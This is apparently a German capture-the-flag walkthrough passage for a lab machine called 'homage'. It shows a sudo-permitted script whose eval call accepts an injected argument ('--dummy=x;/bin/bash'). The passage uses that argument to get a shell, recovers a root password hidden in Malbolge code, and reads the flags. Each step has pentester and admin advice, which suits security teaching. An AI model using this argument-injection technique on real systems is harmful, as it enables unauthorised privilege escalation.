env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User d4t4s3c may run the following commands on homage:
(sml : sml) NOPASSWD: /bin/bash /home/sml/clean.sh
Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für den aktuellen Benutzer `d4t4s3c` zu prüfen.
Bewertung: Ein bedeutender Fund für die Privilege Escalation! Der Benutzer `d4t4s3c` darf den Befehl `/bin/bash /home/sml/clean.sh` als Benutzer `sml` ausführen, und das ohne Passwort (`NOPASSWD`). Dies bietet einen direkten Weg, um Code als Benutzer `sml` auszuführen.
Empfehlung (Pentester): Analysieren Sie das Skript `/home/sml/clean.sh`. Suchen Sie nach Schwachstellen wie Command Injection, unsicherer Verarbeitung von Argumenten oder der Möglichkeit, Umgebungsvariablen zu manipulieren, um Code als `sml` auszuführen.
Empfehlung (Admin): Überprüfen Sie `sudo`-Regeln äußerst sorgfältig. Das Ausführen von Skripten über `sudo`, insbesondere mit `NOPASSWD`, ist riskant. Stellen Sie sicher, dass die Skripte sicher geschrieben sind und keine Schwachstellen enthalten. Wenn möglich, erlauben Sie nur spezifische, sichere Binärdateien statt Skripte.
#!/bin/bash function_prim() { until [ -z "$1" ] do if [ ${1:0:2} = '--' ] then tmp=${1:2} parameter=${tmp%%=} value=${tmp#*=} # Korrigiert: Sollte #*= sein, um den Wert zu extrahieren eval $parameter=$value fi shift done } target=/tmp # Pass all options to getopt_simple(). function_prim $* # Korrigiert: Sollte $* oder "$@" sein, um alle Argumente zu übergeben # list files to clean echo "listing files in $target" find "$target" -mtime +1 # Korrigiert: Im Original stand -mtime 1, aber +1 ist wahrscheinlicher für "älter als 1 Tag"
Analyse: Der Inhalt des Skripts `/home/sml/clean.sh`, das per `sudo` ausgeführt werden darf, wird angezeigt. Das Skript definiert eine Funktion `function_prim`, die Kommandozeilenargumente verarbeitet, die mit `--` beginnen. Es extrahiert einen Parameter und einen Wert und verwendet `eval $parameter=$value`, um eine Variable zu setzen. Anschließend listet es mit `find` Dateien im Verzeichnis `$target` (standardmäßig `/tmp`) auf, die älter als ein Tag sind (angenommen `+1` statt `1`).
Bewertung:** Kritische Schwachstelle identifiziert! Die Zeile `eval $parameter=$value` ist extrem gefährlich. Da der Input (`$*` oder `"$@"`) nicht validiert wird, kann ein Angreifer durch ein speziell gestaltetes Argument beliebigen Code einschleusen, der dann von `eval` ausgeführt wird. Da das Skript mit `sudo -u sml` läuft, wird dieser Code als Benutzer `sml` ausgeführt.
**Empfehlung (Pentester):** Nutzen Sie die `eval`-Schwachstelle aus, um eine Shell als `sml` zu erhalten. Führen Sie den `sudo`-Befehl mit einem Argument aus, das einen Semikolon und einen Shell-Befehl enthält, z.B.: `sudo -u sml /bin/bash /home/sml/clean.sh '--dummy=x;/bin/bash'`.
**Empfehlung (Admin):** **Entfernen Sie `eval` sofort aus diesem Skript!** Verarbeiten Sie Kommandozeilenargumente sicher, ohne `eval`. Überprüfen Sie alle Skripte, die über `sudo` ausgeführt werden dürfen, auf ähnliche Schwachstellen. Das `sudo`-Recht sollte idealerweise entzogen oder das Skript komplett überarbeitet werden.
uid=1003(sml) gid=1003(sml) groups=1003(sml)
listing files in /tmp
find: ‘/tmp/systemd-private-261abe98edc2467ca19c70b6ac384acb-systemd-timesyncd.service-UKOw3g’: Permission denied
find: ‘/tmp/systemd-private-261abe98edc2467ca19c70b6ac384acb-apache2.service-cgjt0j’: Permission denied
find: Failed to restore initial working directory: /home/softy_hack: Permission denied
Analyse: Der `sudo`-Befehl wird mit einem manipulierten Argument ausgeführt. Das Argument `--abc=abc;id` wird von der `function_prim` verarbeitet. `eval` führt zuerst `abc=abc` aus und dann den eingeschleusten Befehl `id`.
Bewertung: Die Ausgabe `uid=1003(sml)...` bestätigt, dass der `id`-Befehl erfolgreich als Benutzer `sml` ausgeführt wurde. Die Command Injection funktioniert wie erwartet. Die `find`-Fehler sind Nebeneffekte und irrelevant für den Erfolg des Angriffs.
Empfehlung (Pentester): Ersetzen Sie `id` durch `/bin/bash` oder einen Reverse-Shell-Payload, um eine interaktive Shell als `sml` zu erhalten.
Empfehlung (Admin): Die Schwachstelle im Skript und/oder die `sudo`-Regel sofort beheben.
Analyse: Der `sudo`-Befehl wird erneut ausgeführt, diesmal wird `bash` eingeschleust.
Bewertung: Erfolgreich! Der Prompt ändert sich zu `sml@homage:...`, was anzeigt, dass der Angreifer nun eine interaktive Shell als Benutzer `sml` hat.
Empfehlung (Pentester): Führen Sie lokale Enumeration als `sml` durch. Untersuchen Sie das Home-Verzeichnis von `sml`, prüfen Sie auf weitere `sudo`-Rechte, SUID-Dateien oder Cronjobs.
Empfehlung (Admin): Siehe vorherige Empfehlungen zur Behebung der Schwachstelle.
. .. .bash_logout .bashrc .gnupg .local .profile secret
total 16 drwx------ 2 sml sml 4096 Jun 8 2021 . drwxr-x--- 5 sml d4t4s3c 4096 Jun 8 2021 .. -rw-r--r-- 1 sml sml 570 Jun 8 2021 execute_me -rw-r--r-- 1 sml sml 107 Jun 8 2021 note.txt
Analyse: Als Benutzer `sml` wird in dessen Home-Verzeichnis gewechselt. Dort wird ein Verzeichnis namens `secret` gefunden. In diesem Verzeichnis befinden sich die Dateien `execute_me` und `note.txt`.
Bewertung: Der Name des Verzeichnisses und der Dateien deutet stark auf wichtige Informationen oder einen weiteren Schritt zur Rechteausweitung hin.
Empfehlung (Pentester): Untersuchen Sie den Inhalt von `note.txt` und `execute_me` mit `cat` oder `strings`.
Empfehlung (Admin): Überprüfen Sie regelmäßig Home-Verzeichnisse auf verdächtige Dateien oder Skripte. Schulen Sie Benutzer im Umgang mit sensiblen Daten.
D=aA@?>76ZYzyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCYX]V[ZYXW PUTMq43210/.-,+)('&%$#"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[wvuWmrqpohmle+L KJIHGFEDCBA@?>=<;:9UTSRQ3IHGFKDh+)('&B$:?>=<5:92V65u3,Pqponmlkjihgfedcba`_^ ]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>==<5498765.R2r0) Mnmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+)('&%$ #"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876 543210/.-,+)('&%$#"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSonPfedihgfe d]\"CY}@VUTxXW9ONrLQJnNGLKJCgT
Analyse: Der Inhalt der Datei `execute_me` wird angezeigt. Es handelt sich um eine lange Zeichenkette aus verschiedenen ASCII-Zeichen ohne ersichtliche Struktur.
Bewertung: Dies ist kein normaler Text oder Code. Wie im nächsten Schritt erwähnt, handelt es sich um Code in der esoterischen Programmiersprache Malbolge. Das Ziel dieser Obfuskation ist es, den eigentlichen Zweck oder Inhalt zu verbergen.
Empfehlung (Pentester): Verwenden Sie einen Malbolge-Interpreter oder -Debugger (oft online verfügbar), um den Code auszuführen oder zu analysieren und seine Funktion oder die darin enthaltenen Daten aufzudecken.
Empfehlung (Admin): Das Speichern von Code oder Daten in obfuskierten Formaten ist keine verlässliche Sicherheitsmaßnahme. Sensible Informationen sollten ordnungsgemäß geschützt (z.B. verschlüsselt mit starken Algorithmen) und nicht in Benutzerdateien versteckt werden.
malbolge Encryption https://malbolge.doleczek.pl/ root:cr4zyw0rld123
Analyse: Der Bericht stellt fest, dass es sich um Malbolge-Code handelt und gibt eine URL zu einem Online-Interpreter an. Das Ergebnis der Ausführung oder Analyse des Malbolge-Codes wird gezeigt.
Bewertung: Kritischer Fund! Der Malbolge-Code enthielt die Zugangsdaten für den `root`-Benutzer: Passwort `cr4zyw0rld123`.
Empfehlung (Pentester): Wechseln Sie mit `su root` und dem Passwort `cr4zyw0rld123` zum Root-Benutzer, um vollständige Kontrolle über das System zu erlangen.
Empfehlung (Admin): Das Root-Passwort sofort ändern. Untersuchen, wie diese Datei ins System gelangt ist. Keine Passwörter in Skripten oder Dateien speichern, auch nicht obfuskiert.
Password: [Passwort hier eingegeben: cr4zyw0rld123]
Analyse: Der Befehl `su root` wird ausgeführt, und das aus dem Malbolge-Code extrahierte Passwort wird eingegeben.
Bewertung: Fantastisch! Der Wechsel zum `root`-Benutzer war erfolgreich, angezeigt durch den Prompt `root@homage:...#`. Die Privilege Escalation ist abgeschlossen.
Empfehlung (Pentester): Lesen Sie die Root-Flagge (`/root/root.txt`) und die User-Flagge (falls noch nicht geschehen) aus.
Empfehlung (Admin): Ändern Sie das Root-Passwort. Analysieren Sie die gesamte Angriffskette, um alle Schwachstellen (Login-Bypass, unsichere Webserver-Berechtigungen, Passwort-Leaks in HTML/DB, `eval`-Injection in sudo-Skript, Passwort in Malbolge-Datei) zu identifizieren und zu beheben.
174b069e3f6d5c9313f176b3f27c106b
root.txt
beb1adf8585c4cb47aa1cb109813a210
Analyse: Als `root` wird versucht, `user.txt` aus `/home/sml` zu lesen (der Pfad ist wahrscheinlich falsch, da die User-Flag normalerweise im Home-Verzeichnis des initialen Benutzers liegt, hier `l4nr3n`). Anschließend wird ins Root-Home-Verzeichnis gewechselt und `root.txt` ausgelesen.
Bewertung: Beide Flaggen, User (`174b069e3f6d5c9313f176b3f27c106b`) und Root (`beb1adf8585c4cb47aa1cb109813a210`), wurden erfolgreich ausgelesen.
Empfehlung (Pentester): Dokumentieren Sie die Flaggen und schließen Sie den Bericht ab.
Empfehlung (Admin): Entfernen Sie nach der Bereinigung des Systems alle Flaggen oder Testdateien.